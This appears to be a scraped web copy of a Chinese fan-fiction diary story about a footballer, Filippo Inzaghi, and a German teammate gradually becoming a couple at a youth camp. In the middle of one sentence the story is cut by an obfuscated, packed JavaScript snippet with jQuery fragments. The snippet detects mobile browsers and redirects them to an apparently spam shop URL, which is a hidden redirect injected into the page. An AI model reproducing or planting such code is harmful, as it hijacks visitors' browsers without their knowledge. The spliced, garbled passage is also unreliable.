1989年9月10日


    今天正式进入皮亚琴察青年队。哥来接我，身边跟着那个金头发的德国佬，莱纳·冯·阿德勒。哥说：“这是莱纳，他会用数学算你怎么跑位，离他远点。”但他说这话时在笑，拳头轻轻捶了下那家伙的肩膀。莱纳说：“准确率目前是78.3%（管他多少，我不记得了，反正很精准的数字），还在提升。”


    他们走在我前面去食堂，肩膀碰着肩膀。哥说话时手舞足蹈，莱纳安静地听，然后突然冒出一句：“你刚才描述的那个假动作，理论上髋关节转动角度需要再增加5度，否则容易被看穿。”


    哥居然没骂他，反而说：“那你晚饭后来帮我练。”


    不对劲。我哥什么时候这么听得进批评了？


    1989年10月25日


    全训练营都知道他俩形影不离。但只有我看出问题——


    今天战术课分组，哥和莱纳分到对立组。练习赛时，哥带球突破，莱纳防守。哥做了三个假动作，莱纳纹丝不动。第四次，哥突然不玩花样了，直接加速硬闯。


    然后！莱纳居然没完全拦住！他侧身让了半步，只是伸脚把球捅出底线。


    场边的青年队教练吼：“阿德勒！你那是什么软绵绵的防守？！”


    莱纳皮笑肉不笑：“最优解。继续纠缠有概率犯规送点球。”


    但我看见了——哥突破成功后，回头朝莱纳眨了下眼。而莱纳，那个机器人，嘴角弯了0.5秒。


    很真的那种笑。


    我鸡皮疙瘩起来了。


    1989年12月14日


    实锤了。


    我哥的护腿板丢三落四，但莱纳的背包里永远有备用的一副。


    我哥的水壶老是忘在哪儿，但训练结束，莱纳总会变魔术似的递过来——水温还是刚好的。


    我哥昨晚说梦话都在喊“越位线”，今早早饭时，莱纳自然接话：“你梦里那条线画错了，根据昨天训练数据，你应该再拖后0.3秒启动。”


    全桌寂静。我哥脸红了。


    莱纳还补刀：“你昨晚11点47分说的梦话，需要录音回放分析吗？”


    我现在怀疑，莱纳那78.3%的预判准确率里，包括预判我哥什么时候会丢三落四、什么时候说梦话、甚至什么时候……需要他。


    1990年2月2日


    妈妈打电话问哥在训练营有没有好好吃饭。


    我说：“有，但你可能更该问问他有没有好好谈恋爱。”


    妈妈：“什么意思？他和哪个姑娘？”


    我：“不是姑娘。是一个比他高两厘米、金头发、蓝眼睛、说话像计算机、但会帮我哥熨训练服的德国男孩。”


    妈妈沉默了一分钟，然后说：“……拍张照片发我看看。”


    我还没来得及偷拍，晚上就看见厨房里，莱纳在教我哥怎么烤柠檬挞。我哥把面粉弄得到处都是，莱纳一边叹气一边用抹布精确地擦出一个圆形的干净区域。


    ——我发誓我没见过谁能弄出那么精准的圆形，我怀疑那个德国佬圆规成精，完完全全的强迫症。


    他擦地的样子像在解几何题。但我哥看着他笑的样子，像看……呃，像看进球回放？


    1990年3月18日


    今天比赛，哥进球后冲向角旗区，半路突然转向，跳起来挂在了莱纳身上。


    全场欢呼。莱纳僵硬地托住他的腿，说了句：“你刚才跑位有偏差，但效果更好。我需要更新模型。”


    哥大笑着揉乱他的金发。


    回来的大巴上，他们坐最后一排，共享一副耳机。我假装系鞋带回头看了一眼——哥靠着窗户睡着了，头歪向莱纳那边。而莱纳，坐得笔直，但肩膀悄悄沉下去一点点，刚好让哥靠得舒服。


    他的右手悬在半空，像想搂又不敢，最后只是轻轻捏住了哥外套的袖口。


    傻子都看出来了。除了我哥。


    1990年5月7日凌晨1:47


    我被手机震醒。


    来电显示：莱纳·冯·阿德勒。


    我：“……你知道现在几点吗？”


    莱纳：“紧急咨询。你哥今天送我一样东西。”


    我：（困）“恭喜？”


    莱纳：“是一个戒指。”


    我：（瞬间清醒）“什么？！”


    莱纳：“但不是婚戒。是那种可调节尺寸的训练戒指，内侧刻了‘P.I. ? L.A.’，箭头是数学里的‘映射到’符号。他说这是‘最佳搭档纪念’。”


    我：（扶额）“所以呢？”


    莱纳：“在德国文化中，戒指象征严肃承诺。在意大利文化中，训练饰品常见于亲密队友。但结合我们非队友时期的互动数据——包括他今早替我整理书包带子，上周偷穿我的训练外套，以及三小时前在淋浴间哼歌时自然地把洗发水递给我——我需要辅助判断：这个行为在‘友谊’模型中的概率是多少？在‘超越友谊’模型中的概率又是多少？”


    我：（对着天花板翻白眼）“莱纳。”


    莱纳：“嗯？”


    我：“你用你那个天才大脑想想，我哥——菲利波·因扎吉——那个除了足


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984234|193602||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    球和吃饭之外心思比水管还直的家伙——会给‘普通好朋友’亲手做刻了两人名字的戒指吗？！”


    莱纳：（沉默五秒）“但箭头符号也可能表示‘从属关系’，在数学中——”


    我：“他要映射你！他要占领你！他要你成为他人生公式里的唯一变量！老天，你们一个不敢说，一个听不懂，急死我了！”


    莱纳：（更长的沉默，我听见他呼吸变轻了）“所以假设H0：‘他喜欢我’被接受的概率……很高？”


    我：“去掉‘很高’。换成‘除非你明天在球场上造他越位时顺便求婚，不然他可能会憋到退役才明白自己心意’那种程度的高。”


    莱纳：（轻轻吸气）“我需要重新计算。”


    我：“算个屁！去告诉他！”


    电话挂了。


    三分钟后，我哥的手机在我隔壁床震动。我听见他迷迷糊糊接起来：“……莱纳？你干嘛……”


    然后没声音了。


    我悄悄把门拉开一条缝。走廊灯下，我哥穿着睡衣拖鞋冲了出去。


    明天我得问他发生了什么。但现在，我要睡觉了。


    这两个笨蛋终于要开窍了吧？


    ……希望莱纳别用数学公式告白。我哥会吓跑的。


    算了，跑也跑不过莱纳的计算（还是算计？）。随他们吧。


    ---


    【后记：第二天早餐】


    我哥戴着那个戒指来吃早饭。


    莱纳也戴了。


    他们没说话，只是并排坐着。我哥把果酱瓶推给莱纳，莱纳自然地把涂好黄油的面包递给我哥。


    然后，在桌子下，他们的手碰在一起，小指勾着小指。


    我低头猛喝牛奶。


    妈妈发来短信：“照片呢？”


    我偷拍了一张桌下的手，发过去。


    妈妈回复：“……箭头符号？谁选的？”


    我：“我哥。他说这叫‘战术标记’。”


    妈妈：“你信？”


    我：“不信。但莱纳信了整整一夜，直到我骂醒他。”


    妈妈发来一串大笑的表情。


    然后转账50欧元：“请那孩子吃冰淇淋。告诉他，欢迎加入这个家庭。”


    我抬头，看见我哥正把叉子上的煎蛋分一半给莱纳，而莱纳——那个数学疯子——在笑。


    不是0.5秒的那种。是完整的，柔软的，像阿尔卑斯山的雪在春天化开的笑。


    好吧。


    至少以后不用听莱纳半夜打电话问我概率了。


    ——日记终——